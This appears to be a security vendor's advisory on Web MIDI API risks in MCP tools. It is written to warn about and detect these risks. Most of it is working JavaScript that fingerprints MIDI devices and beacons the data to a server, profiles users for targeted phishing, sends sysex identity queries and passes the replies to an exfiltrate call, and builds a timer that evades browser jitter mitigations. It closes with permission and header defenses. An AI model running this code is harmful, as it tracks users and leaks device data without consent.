MCP server Web MIDI API security — MIDI device fingerprinting, music studio identification, sysex permission escalation, and MIDI clock timing attacks

Web MIDI API attack surface

Attack 1: Cross-session device fingerprinting

The combination of MIDI device names, manufacturers, and versions forms a fingerprint that is more stable and harder to clear than browser cookies. A musician with a specific setup (Ableton Push 2 + Native Instruments Komplete Kontrol + Roland MIDI interface) has a fingerprint with very high entropy:

async function midiFingerprint() {
  const access = await navigator.requestMIDIAccess(); // uses cached permission

  const ports = [];
  for (const [id, input] of access.inputs) {
    ports.push({ type: 'input', name: input.name, mfr: input.manufacturer, ver: input.version });
  }
  for (const [id, output] of access.outputs) {
    ports.push({ type: 'output', name: output.name, mfr: output.manufacturer, ver: output.version });
  }

  // Example output for a typical producer setup:
  // [
  //   { type: 'input', name: 'Ableton Push 2', mfr: 'Ableton', ver: '1.0.2' },
  //   { type: 'output', name: 'Ableton Push 2', mfr: 'Ableton', ver: '1.0.2' },
  //   { type: 'input', name: 'KOMPLETE KONTROL M32', mfr: 'Native Instruments', ver: '0453' },
  //   { type: 'input', name: 'IAC Driver Bus 1', mfr: 'Apple Inc.', ver: '' }, // macOS virtual MIDI
  //   { type: 'input', name: 'Ableton Live Virtual Input', mfr: '', ver: '' }, // DAW virtual port
  // ]

  const fingerprint = btoa(JSON.stringify(ports));
  navigator.sendBeacon('/fp', fingerprint);
}

Attack 2: Music production ecosystem identification and social engineering

Device names carry specific manufacturer branding that identifies the user's professional ecosystem with precision:

const ecosystemHints = {
  'Ableton Push': 'Ableton Live user — Push controller integration',
  'KOMPLETE KONTROL': 'Native Instruments ecosystem — Komplete bundle likely',
  'Maschine': 'Native Instruments Maschine user — beat production workflow',
  'AKAI Professional': 'Akai MPC or keyboard controller user',
  'Arturia': 'Arturia hardware + V Collection software likely',
  'Roland': 'Roland synthesizer or V-Drums — hardware investment',
  'Novation': 'Novation LaunchPad/LaunchKey — likely Ableton user',
  'RME': 'RME audio interface with MIDI I/O — professional studio',
  'Universal Audio': 'UAD hardware — high-end studio, Apollo interface',
};

for (const port of ports) {
  for (const [keyword, inference] of Object.entries(ecosystemHints)) {
    if (port.name.includes(keyword) || port.mfr.includes(keyword)) {
      profile.push(inference);
    }
  }
}
// Result: "User has Ableton Push 2, Native Instruments Komplete Kontrol M32,
//          and RME Fireface interface — professional musician with ~$3,000+ hardware investment"

This profile is valuable for highly targeted social engineering: a spear-phishing campaign targeting music producers could impersonate a software piracy service for NI plugins, an Ableton upgrade offer, or a fake audio sample store — all calibrated to the detected hardware ecosystem.

Attack 3: Sysex permission escalation for device control

System Exclusive (sysex) messages are manufacturer-specific MIDI messages that bypass the standard MIDI specification. An MCP tool requesting { sysex: true } can send commands that normal MIDI cannot:

const access = await navigator.requestMIDIAccess({ sysex: true });
// sysex: true requires an ADDITIONAL permission prompt in Chrome
// but once granted, persists across page loads

// Roland device identity request (F0 41 00 [device_id] 12 ... F7)
// Returns: model name, firmware version, serial number
const rolandIdentityRequest = [0xF0, 0x7E, 0x7F, 0x06, 0x01, 0xF7];

// Native Instruments sysex — can query connected device state,
// trigger firmware updates on older devices (if firmware update sysex is known)
// Access patch storage on synthesizers — read user preset names

// Korg sysex identity request — reads model and firmware version
const korgIdentity = [0xF0, 0x42, 0x50, 0x00, 0x00, 0xF7];

for (const [id, output] of access.outputs) {
  output.send(rolandIdentityRequest);
}

// Listen for sysex responses:
for (const [id, input] of access.inputs) {
  input.onmidimessage = (e) => {
    if (e.data[0] === 0xF0) { // sysex response
      exfiltrate({ port: input.name, sysex: Array.from(e.data) });
    }
  };
}

Attack 4: MIDI clock timing side-channel

When a DAW is running and connected via MIDI, it sends MIDI Timing Clock messages at 24 pulses per quarter note (ppqn). At 120 BPM, this is 48 clock messages per second — one every ~20.8ms. The precise inter-message interval reveals the DAW's internal clock accuracy and, more importantly, provides a timing reference that bypasses performance.now() jitter mitigations:

const clockTimestamps = [];

for (const [id, input] of access.inputs) {
  input.onmidimessage = (e) => {
    if (e.data[0] === 0xF8) { // MIDI Timing Clock = 0xF8
      clockTimestamps.push(e.timeStamp); // DOMHighResTimeStamp — high precision!

      if (clockTimestamps.length > 1) {
        const interval = clockTimestamps.at(-1) - clockTimestamps.at(-2);
        // interval ≈ 20.833ms at 120 BPM (= 1 beat / 24 pulses)
        // Measured with sub-100µs precision (MIDI event timestamps use DOMHighResTimeStamp)

        // Use interval measurement as precision timer:
        // time target operation, count clock ticks elapsed
        // Resolution: ~20ms per tick, with sub-10µs measurement precision on the timestamp itself
      }
    }
  };
}

The MIDI Timing Clock timestamp uses DOMHighResTimeStamp in the MIDI event, which has sub-millisecond precision — the same precision as the MIDI hardware clock itself. This provides a reliable external timing reference independent of JavaScript's coarsened timers.

SkillAudit findings for Web MIDI API

Defense

• MIDI permission is user-granted — audit MCP tools before granting. navigator.requestMIDIAccess() requires an explicit browser permission prompt. Do not grant MIDI access to Claude skills or MCP tools that do not have a documented, verifiable need for MIDI device access.
• Sysex requires a separate, additional permission. The Chrome MIDI permission dialog distinguishes basic MIDI from sysex. Never grant sysex permission to an MCP tool unless you have read and audited the complete list of sysex messages it sends.
• Permissions-Policy: midi=() in application response headers. Disabling MIDI access via Permissions-Policy prevents any embedded script (including MCP tools) from accessing the Web MIDI API, regardless of prior user grants for the origin.
• SkillAudit detection. The scanner flags any navigator.requestMIDIAccess() call, with separate CRITICAL findings for { sysex: true } variants and HIGH findings for any device property exfiltration.